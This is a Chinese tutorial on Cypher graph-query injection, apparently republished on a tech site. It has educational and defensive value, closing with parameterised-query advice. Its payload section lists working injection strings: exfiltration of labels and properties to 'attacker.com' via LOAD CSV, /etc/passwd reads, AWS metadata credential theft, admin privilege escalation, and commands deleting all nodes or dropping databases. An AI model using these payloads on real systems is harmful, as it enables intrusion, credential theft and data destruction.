Cypher注入詳解:原理、類型與測試方法

Cypher,全稱為 (Open) Cypher Query Language,是一種專為圖數據庫設計的聲明式查詢語言。它以直觀的模式匹配方式,幫助開發者和數據分析師從復雜的圖結構數據中檢索、創建和修改信息。如果說 SQL 是關系型數據庫的語言,那么 Cypher 就是圖數據庫的語言。Cypher 最初由 Neo4j 開發,通過 openCypher 項目成為開放標準,現已被 RedisGraph、Apache Spark、Amazon Neptune 等多種圖數據庫采納,成為圖查詢語言的事實標準之一。

本文將全面介紹 Cypher 的基礎知識、語法結構以及 Cypher 注入的原理與攻擊手法。


1. 圖數據庫與 Cypher 基礎

圖數據庫的核心要素

與傳統的關系型數據庫(基于表格和行)不同,圖數據庫通過節點和關系的結構化方式存儲數據。其核心由以下四個元素構成:

  • 節點 (Nodes):表示圖中的實體,如人、書籍或公司。節點可以包含 屬性 (Properties),以鍵值對形式存儲詳細信息,例如 {name: 'Alice', age: 25}
  • 關系 (Relationships):連接兩個節點,描述它們之間的關聯。關系具有方向和類型,例如 (Alice)-[:FRIENDS_WITH]->(Bob) 表示 Alice 與 Bob 之間的“朋友”關系。關系也可以擁有屬性。
  • 屬性 (Properties):存儲在節點或關系中的鍵值對,用于附加詳細信息。例如,一個 :Person 節點可能有 {name: 'Andy', title: 'Developer'}
  • 標簽 (Labels):用于對節點或關系進行分類。例如,所有表示人物的節點可以打上 :Person 標簽,表示公司的節點可以打上 :Company 標簽,便于快速查詢特定類型的實體。

一個典型的應用場景是安全分析工具 BloodHound,它利用 Neo4j 和 Cypher 的能力可視化并分析 Active Directory 中的復雜權限關系,幫助安全人員發現潛在的攻擊路徑。

Cypher 查詢語言基礎語法

Cypher 的強大之處在于其聲明式和可組合的特性,通過一系列 子句 (Clauses) 構建查詢,每個子句像管道一樣處理數據,將前一個子句的輸出傳遞給下一個子句。以下是 Cypher 的核心語法和子句:

查詢注釋

  • 行內注釋// 用于單行注釋。
  • 多行注釋/* ... */ 用于多行注釋。

核心子句詳解

  1. MATCH:Cypher 的核心子句,用于匹配圖中的模式,類似于 SQL 的 SELECT ... FROM,但更直觀。

    // 匹配所有標簽為 "Fruit" 的節點并返回
    MATCH (a:Fruit) RETURN a// 匹配具有特定屬性的 "Fruit" 節點
    MATCH (a:Fruit {title: 'Green Apple'}) RETURN a// 使用 WHERE 子句進行復雜過濾
    MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a// 限制結果數量并排序
    MATCH (a:Fruit) RETURN a ORDER BY a.title DESC LIMIT 20
    

    這里的 a 是一個變量,代表匹配到的節點,類似于編程中的臨時變量名,開發者可以自由命名(如 anm),用于在查詢中引用節點。

  2. CREATE:用于創建新的節點和關系。

    // 創建一個空節點
    CREATE (n)// 創建帶標簽和屬性的節點
    CREATE (n:Person {name: 'Andy', title: 'Developer'})// 創建節點后通過 SET 添加或修改屬性
    CREATE (n:Account)
    SET n.id=1, n.username="admin", n.password="password123"
    RETURN n
    

    這里的 n 是節點變量,用于表示新創建的節點。

  3. UNION / UNION ALL:合并多個查詢結果。UNION 會去重,UNION ALL 保留所有結果。合并的查詢必須返回相同數量和名稱的列。

    // 合并人員姓名和書籍標題,使用相同別名
    MATCH (n:Person) RETURN n.name AS name
    UNION
    MATCH (b:Book) RETURN b.title AS name
    

    這里的 nb 是變量,分別表示 :Person:Book 節點。

  4. WITH:將前一個子句的輸出作為中間結果傳遞給下一個子句,常用于復雜查詢或注入攻擊中的查詢鏈。

    // 匹配所有節點,排序并限制結果
    MATCH (c)
    WITH c
    ORDER BY c.Character DESC
    LIMIT 3
    RETURN collect(c.name)
    

    這里的 c 是變量,代表匹配到的節點。

  5. YIELD:在 CALL 語句中指定過程返回的字段,綁定到變量供后續使用。

    // 調用 db.labels() 獲取所有標簽,綁定到變量 x
    CALL db.labels() YIELD label AS x
    
  6. LOAD CSV:從本地或遠程 CSV 文件導入數據,支持 HTTPSHTTPFTPfile:/// 協議,常被用于 SSRF 或任意文件讀取攻擊。

    // 讀取本地文件,可能導致任意文件讀取
    LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line// 讀取遠程文件,可能導致數據外泄
    LOAD CSV FROM 'https://attacker.com/data.csv' AS line RETURN line
    

    這里的 line 是變量,表示 CSV 文件的每一行數據。

  7. APOC 庫Awesome Procedures on Cypher 是一個 Neo4j 擴展庫,提供豐富的功能,如 apoc.load.json() 用于導入 JSON 數據,apoc.util.sleep() 用于時間延遲(常用于時間盲注)。由于其強大功能,APOC 庫是 Cypher 注入攻擊的重要目標。


2. Cypher 注入:原理與攻擊手法

Cypher 注入是一種類似于 SQL 注入的攻擊方式,攻擊者通過在用戶可控的輸入中插入惡意 Cypher 代碼,改變查詢的原始意圖,執行未經授權的操作,如數據泄露、權限提升或拒絕服務。

Cypher 注入的分類

根據攻擊者與數據庫交互的方式,Cypher 注入可分為以下幾類:

  1. 帶內注入 (In-band):攻擊者通過同一通道注入代碼并直接獲取結果。
    • 基于錯誤 (Error-based):通過構造惡意輸入觸發數據庫錯誤,推斷數據庫結構或泄露數據。
  2. 推斷型盲注 (Inferential Blind):攻擊者無法直接看到結果,但通過應用程序的行為推斷信息。
    • 基于布爾值 (Boolean-based):通過注入 OR 1=1OR 1=0,觀察響應差異。
    • 基于時間 (Time-based):通過 apoc.util.sleep() 等延遲函數,判斷注入是否成功。
  3. 帶外注入 (Out-of-band):利用 LOAD CSV 等功能使數據庫向攻擊者控制的服務器發送請求,實現數據外泄或 SSRF。

與 SQL 注入相比,Cypher 注入有以下特點:

  • 無“表”概念:無法直接通過 UNION 從其他“表”獲取數據,但可合并不同查詢結果。
  • 時間盲注需依賴 APOC:Cypher 本身無 sleep 函數,需使用 apoc.util.sleep()
經典注入攻擊示例

以下是一些典型的 Cypher 注入攻擊,展示如何利用漏洞實現惡意目的。

示例 1:簡單帶內注入 - 繞過查詢限制

原始查詢(以 NodeJS 應用為例):

executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

攻擊載荷

Spongebob' or 1=1 RETURN c//

最終查詢

MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c

分析

  • ' 閉合字符串,注入 or 1=1 使條件永真。
  • // 注釋掉后續內容,返回所有 :Character 節點,繞過查詢限制。

示例 2:帶外注入 - 數據外泄

原始查詢

MATCH (p:Person) WHERE id(p) = 42 RETURN p

攻擊載荷

42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r

最終查詢

MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p

分析

  • CALL db.labels() 獲取所有標簽。
  • LOAD CSV FROM 'https://attacker.com/' + label 將每個標簽發送到攻擊者服務器。
  • 變量 r 表示 LOAD CSV 的返回數據(通常為空或 CSV 內容)。

示例 3:OPTIONAL MATCH 泄露所有節點

攻擊載荷

1 OPTIONAL MATCH (m) RETURN m AS n //

分析

  • OPTIONAL MATCH (m) 匹配圖中所有節點(包括無標簽節點),即使沒有匹配也不會報錯。
  • RETURN m AS n 將所有節點重命名為 n 返回。
  • 變量 m 表示匹配到的節點,n 是輸出別名。
  • 效果:可能泄露整個數據庫的節點數據,適用于帶內注入場景。
構建惡意載荷的技巧
  1. 注入上下文分析:根據注入點的位置(字符串、括號等),使用 '")} 閉合原始查詢。
  2. 利用注釋:通過 ///* ... */ 注釋掉不需要的查詢部分(如 LIMITRETURN)。
  3. WITH 子句:在 CREATE 等子句中注入 WITH 1337 AS y 跳出上下文,追加惡意子句。
  4. URL 編碼:在 HTTP 請求中,確保空格、引號等特殊字符被正確編碼(如 %20%27)。

3. 漏洞檢測與利用實戰

檢測 Cypher 注入漏洞
  1. 基于錯誤檢測
    • 輸入 '",觀察是否觸發語法錯誤。
    • 輸入 1/0,觸發運行時錯誤,分析錯誤信息以獲取數據庫結構或版本。
  2. 盲注檢測
    • 數學運算:在數字參數中注入 41+2-1,若響應與 42 相同,可能存在注入。
    • 布爾值:注入 ' or 1=1//' or 1=0//,觀察響應差異。
  3. 帶外檢測
    • 使用 LOAD CSV 向攻擊者控制的服務器(如 Burp Collaborator)發送請求。
    • 示例:1 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS b RETURN b//
      • 變量 b 表示 LOAD CSV 的返回數據。
豐富的利用載荷

以下是針對不同攻擊目標的 Cypher 注入載荷,涵蓋認證繞過、數據泄露、SSRF、權限提升和拒絕服務。

認證繞過

  • 載荷' or 1=1//
  • 場景:登錄表單,繞過用戶名或密碼驗證。
  • 效果:使條件永真,返回所有匹配節點。

數據泄露(帶內)

  • 泄露所有標簽

    ' RETURN 1 AS x UNION CALL db.labels() YIELD label AS x RETURN x//
    
    • 變量 x 表示返回的標簽名。
  • 泄露指定標簽的屬性

    ' RETURN 1 AS x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x//
    
    • 變量 c 表示 :Character 節點,x 表示屬性鍵。
  • 泄露屬性值

    ' RETURN 1 AS x UNION MATCH (c:Character) RETURN c.name AS x//
    
    • 變量 x 表示節點屬性 name 的值。

數據泄露(帶外)

  • 泄露所有標簽

    ' CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//
    
    • 變量 b 表示 LOAD CSV 的返回數據。
  • 泄露屬性值(需 APOC 庫):

    ' MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//
    
    • 變量 b 表示 LOAD CSV 的返回數據。

SSRF 與任意文件讀取

  • 泄露內部服務

    LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
    LOAD CSV FROM "https://attacker.com/"+x[0] AS y
    RETURN ''//
    
    • 變量 x 表示 AWS 元數據,y 表示外泄數據。
  • 任意文件讀取

    ' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RETURN n //
    
    • 變量 n 表示文件內容。

權限提升

  • 原始查詢
    CREATE (n:Account) SET n.password="{注入點}"
    
  • 攻擊載荷", n.admin=True RETURN n//
  • 最終查詢
    CREATE (n:Account) SET n.password="", n.admin=True RETURN n //
    
    • 變量 n 表示創建的賬戶節點,注入后提升為管理員。

拒絕服務 (DoS)

  • 刪除所有節點

    ' MATCH (all) DETACH DELETE all//
    
    • 變量 all 表示所有節點。
  • 刪除數據庫

    ' USE system CALL dbms.listDatabases() YIELD name WHERE name <> 'system' CALL { WITH name DROP DATABASE name } IN TRANSACTIONS RETURN 1 //
    
    • 變量 name 表示數據庫名稱。

4. 防御 Cypher 注入

  1. 參數化查詢:使用參數化查詢(prepared statements)代替字符串拼接。例如:
    executeQuery("MATCH (c:Character) WHERE c.name = $name RETURN c", { name: userInput })
    
  2. 輸入驗證和清理:嚴格驗證用戶輸入,過濾特殊字符(如 '", //)。
  3. 最小權限原則:限制數據庫用戶的權限,避免執行高危操作(如 DETACH DELETEDROP DATABASE)。
  4. 禁用 APOC 高危功能:限制 apoc.util.sleep() 等函數,防止時間盲注。
  5. 限制 LOAD CSV:禁用 file:// 協議,限制外部網絡請求。
  6. 錯誤信息隱藏:避免返回詳細的數據庫錯誤信息。

總結

Cypher 是一種強大且直觀的圖查詢語言,廣泛應用于圖數據庫中,但其靈活性也帶來了 Cypher 注入 的風險。攻擊者可以通過注入惡意代碼實現認證繞過、數據泄露、SSRF、權限提升甚至拒絕服務。變量如 mnb 是查詢中的臨時標識符,具體含義取決于上下文,例如在 OPTIONAL MATCH (m) RETURN m AS n // 中,m 表示所有節點,n 是輸出別名,可能導致整個數據庫內容泄露。通過理解 Cypher 的語法和注入原理,開發者可以更好地檢測和防御漏洞,而安全研究人員則能更有效地發現和利用潛在風險。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/93277.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/93277.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/93277.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

PG靶機 - Pelican

一、 初步偵察與服務探測 1.1 端口掃描與服務識別 首先&#xff0c;對目標主機 192.168.163.98 進行全面的端口掃描&#xff0c;以識別所有開放的服務。 sudo nmap 192.168.163.98 -p- --min-rate5000 -A圖 1: Nmap 掃描結果&#xff0c;顯示多個開放端口 掃描結果表明&#xf…

【1】Transformers快速入門:自然語言處理(NLP)是啥?

第一章&#xff1a;自然語言處理&#xff08;NLP&#xff09;是啥&#xff1f;一句話解釋&#xff1a; NLP 教電腦聽懂人話、說人話的技術 &#xff08;比如讓手機聽懂你說話、讓翻譯軟件變聰明&#xff09;NLP發展史&#xff1a;電腦學人話的 “翻車史” 第一階段&#xff08…

微軟發布五大AI Agent設計模式 推動企業自動化革新

今日&#xff0c;微軟在官網正式公布了企業級AI智能體&#xff08;Agent&#xff09;的五大核心設計模式&#xff0c;旨在通過模塊化架構與自適應能力&#xff0c;幫助企業構建具備推理、協作與自主進化能力的"數字員工團隊"。這一技術框架突破傳統RPA&#xff08;機…

如何根據本地是有GPU安裝對應CUDA版本的PyTorch

要在本地安裝與您的NVIDIA GPU匹配的CUDA版本PyTorch&#xff0c;請按以下步驟操作&#xff1a; 步驟1&#xff1a;確定GPU型號和驅動信息 1.按 Win X選擇 ?設備管理器?2.展開 ?顯示適配器? → 記錄您的NVIDIA顯卡型號&#xff08;如RTX 3060&#xff09;3.打開命令提示…

在FP32輸入上計算前向傳播需要多長時間?FP16模型的實例與之前的模型相比,它快了多少?

下面的 MixedModel 類使用作為參數提供的數據類型創建了一個非常簡單的兩層模型: class MixedModel(nn.Module): def init (self, dtype): super(). init

嵌入式硬件中MOS管圖形詳解

第一:MOS管電子元器件分析 MOS管全稱叫金屬氧化物半導體場效應晶體管,是一種壓控器件。 MOS管屬于場效應晶體管。 1、進入飽和區,若想加大電流該怎么做? 答:增加柵極電壓,以擴大溝道寬度,此時到溝道再次被夾斷所通過的電流也會增大。 2、MOS管的特性 答:(1)MOS管…

介紹java中atomic及相關類

文章目錄一、Atomic 類的核心原理二、常見 Atomic 類及用法1. 基本類型原子類&#xff08;1&#xff09;AtomicInteger&#xff08;原子更新 int&#xff09;&#xff08;2&#xff09;AtomicLong&#xff08;原子更新 long&#xff09;&#xff08;3&#xff09;AtomicBoolean…

消費級顯卡分布式智能體協同:構建高性價比醫療AI互動智能體的理論與實踐路徑

摘要: 本文系統探討了基于消費級顯卡集群(NVIDIA 30/40系列)的分布式小模型(1.5B-7B)協同機制,構建醫療互動智能網的理論基礎與實踐路徑。文章從醫療AI的特殊性出發,提出“異構智能體協同計算”范式,通過模型分片、動態任務調度、聯邦學習等核心技術,解決醫療場景中數…

C++進階:特殊類

目錄1. 不能被拷貝的類2. 只能在堆上創建的類3. 只能在棧上創建的類4. 不能被繼承的類5. 類的設計模式&#xff08;單例模式&#xff09;5.1 餓漢模式設計5.2 懶漢模式設計特殊類的概念&#xff1a; 特殊類是一些具有特殊行為、用途&#xff0c;用特殊方法設計而出的類。1. 不…

【論文閱讀】基于卷積神經網絡和預提取特征的肌電信號分類

Myoelectric Signal Classi?cation Using Convolutional Neural Networks with Pre-Extracted Features 原文&#xff1a;DOI: 10.1109/ICICS55353.2022.9811218 2022 翻譯&#xff1a;靠岸學術 目錄 摘要 1引言 2背景 A. 卷積神經網絡 B. 特征工程 3材料與方法 A. CN…

珠海社保繳費記錄如何打印

珠海社保掌上辦&#xff08;微信小程序&#xff09; 進入“珠海社保掌上辦”—“資料打印”— 選擇養老工傷失業個人繳費證明&#xff0c;可選擇 全部繳費記錄打印或自選時段打印&#xff1a; 長按圖片保存后打印。

AM32電調學習-使用Keil編譯uboot

目前的AM32的APP固件包含了keil工程&#xff0c;但是uboot還沒看到&#xff0c;對于習慣使用keil的新用戶&#xff0c;調試起來會有些不習慣&#xff0c;本文將簡單描述怎么新建一個keil的uboot工程&#xff0c;以AT32F421為例。一、新建目錄新建一個目錄Keil_Projects二、新建…

【大文件上傳】分片上傳+斷點續傳+Worker線程計算Hash

/*** 文件分片上傳管理器* 提供文件分片、哈希計算、并發上傳和斷點續傳功能*/ class FileChunkUploader {/*** 構造函數* param {File} file - 要上傳的文件對象* param {Object} options - 配置選項* param {number} [options.chunkSize5MB] - 每個分片的大小&#xff08;字節…

-bash: ./restart.sh: /bin/bash^M: 壞的解釋器: 沒有那個文件或目錄

這是典型的Windows換行符&#xff08;CRLF&#xff09;導致的腳本不能在Linux/Unix環境下正常執行的問題。Linux 期望的是 LF (\n)&#xff0c;而 Windows 是 CRLF (\r\n)&#xff0c;所以腳本文件的第一行解釋器路徑后多了一個不可見的 ^M&#xff08;回車符&#xff09;&…

芯伯樂1MHz高頻低功耗運放芯片MCP6001/2/4系列,微安級功耗精密信號處理

前言在工業控制、通信設備、家用電器等領域&#xff0c;信號處理是核心環節之一&#xff0c;其中運算放大器&#xff08;運放&#xff09;是實現信號處理的核心器件&#xff0c;其選型參數直接決定了信號鏈路的性能和輸出信號的質量&#xff0c;是確保信號正常、精確輸出的關鍵…

智能的數學原理

智能的數學原理可以分成幾個層次來看——從最底層的數學基礎&#xff0c;到支撐“智能”表現的數學模型&#xff0c;再到連接數學與現實認知的理論框架。 分成 五個核心板塊 來梳理&#xff1a;1. 信息與表示的數學 智能的第一步是“能表示信息”&#xff0c;這涉及&#xff1a…

FPGA即插即用Verilog驅動系列——SPI發送模塊

實現功能&#xff1a;按字節以spi模式3發送數據&#xff0c;如果要stm32接收&#xff0c;請在cubemx中將對應的spi接口設置為模式3&#xff0c;詳情見代碼開頭注釋// spi_byte_master.v // 經過優化的SPI主設備模塊&#xff0c;每次使能發送一個字節。 // 它實現了SPI模式3 (CP…

C++ 排序指南

在 C 中&#xff0c;std::sort 是一個非常強大且常用的函數&#xff0c;用于對容器或數組中的元素進行排序。它定義在 <algorithm> 頭文件中。 std::sort 的基本語法 std::sort 的基本語法有以下幾種形式&#xff1a;默認升序排序&#xff1a; std::sort(first, last);fi…

RS232串行線是什么?

RS232串行線是什么&#xff1f;RS232串行線是一種用于串行通信的標準化接口&#xff0c;廣泛應用于早期計算機、工業設備、儀器儀表等領域的短距離數據傳輸。以下是其核心要點解析&#xff1a;1. 基本定義 全稱&#xff1a;RS232&#xff08;Recommended Standard 232&#xff…

k8s-scheduler 解析

學習文檔 官網的k8s上關于scheduler的文檔基本可以分為這兩部分 介紹 scheduler 的基本概念 介紹 scheduler 的配置 KubeSchedulerConfiguration 的參數 介紹 scheduler 的命令行參數 調度框架解析 Scheduling-framework 解析 kube-scheduler 選擇 node 通過下面這兩步…